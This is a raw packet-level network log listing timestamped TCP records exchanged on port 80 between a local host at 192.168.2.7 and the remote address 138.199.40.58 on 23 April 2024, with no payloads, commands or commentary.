Apr 23, 2024 08:39:59.204525948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204556942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204556942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204631090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204642057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204653978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204664946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204674959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204678059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204689980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204700947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204722881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204735041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204747915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204777956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204793930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204813957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204834938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204865932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204878092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204902887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204927921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204943895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204956055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204961061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.204968929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.204993010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205018997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205032110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205044985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205058098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205070019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205096006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205115080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205138922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205180883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205203056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205255032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205264091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205266953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205279112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205342054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205353975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205365896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205384970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205389977 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205396891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205430031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205442905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205452919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205454111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205476999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205477953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205502987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205583096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205595016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205645084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205658913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205727100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205751896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205832958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.205878973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.205912113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206068039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206095934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206127882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.206185102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206197023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206302881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.206306934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206430912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206490040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.206559896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206614017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206639051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.206727028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.206809998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.207158089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207325935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207398891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207411051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207468987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.207469940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.207490921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207549095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207612991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207647085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207658052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207690954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.207690954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.207691908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207705021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207806110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.207808018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207820892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207833052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207870960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.207881927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207906961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.207937956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207973957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.207998991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208009005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208071947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208084106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208111048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208128929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208158016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208193064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208205938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208218098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208241940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208268881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208268881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208292007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208327055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208344936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208560944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208574057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208585978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208611012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208642006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208655119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208667040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208668947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208688974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208718061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208739996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208751917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208765030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208774090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208786011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208787918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208834887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.208862066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.208936930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209002018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209033012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209085941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209125996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209151983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209165096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209177017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209242105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209254026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209265947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209357977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209372044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209388971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209419012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209423065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209575891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209580898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209588051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209600925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209614038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209625006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209677935 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209698915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209711075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209724903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209738016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209749937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209762096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209774017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209775925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209789991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209803104 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209804058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209820032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.209867954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.209867954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210009098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210021973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210033894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210093021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210108042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210120916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210122108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210144043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210213900 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210239887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210261106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210273981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210288048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210294962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210302114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210313082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210324049 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210325956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210374117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210374117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210388899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210483074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210494995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210553885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210578918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210585117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210597992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210608959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210694075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210707903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210740089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210740089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210748911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210772038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210783958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210805893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210829020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210835934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210861921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210886955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210913897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210932016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.210958004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.210971117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211031914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211066008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211066961 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211078882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211090088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211122036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211147070 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211159945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211194038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211219072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211227894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211263895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211268902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211317062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211329937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211342096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211361885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211414099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211427927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211455107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211474895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211474895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211491108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211524963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211543083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211585045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211616039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211630106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211657047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211673975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211678982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211678982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211731911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211740017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211807966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211874962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211889029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211894035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211901903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211924076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211954117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.211961985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.211982012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212013960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212027073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212039948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212052107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212059975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212110043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212121964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212146044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212157965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212171078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212181091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212182045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212193966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212215900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212215900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212249041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212263107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212285995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212325096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212325096 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212337971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212368965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212379932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212392092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212404966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212418079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212429047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212445974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212452888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212471962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212476015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212521076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212538004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212578058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212591887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212604046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212615967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212639093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212652922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212702990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212714911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212764978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212795973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212809086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212820053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212838888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212861061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212871075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212873936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212917089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.212925911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212939024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212950945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212963104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.212970018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213037014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213038921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213049889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213062048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213073969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213082075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213087082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213120937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213143110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213155985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213177919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213179111 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213202000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213224888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213233948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213246107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213287115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.213319063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.213331938 CEST	80	49705	138.199.40.58	192.168.2.7
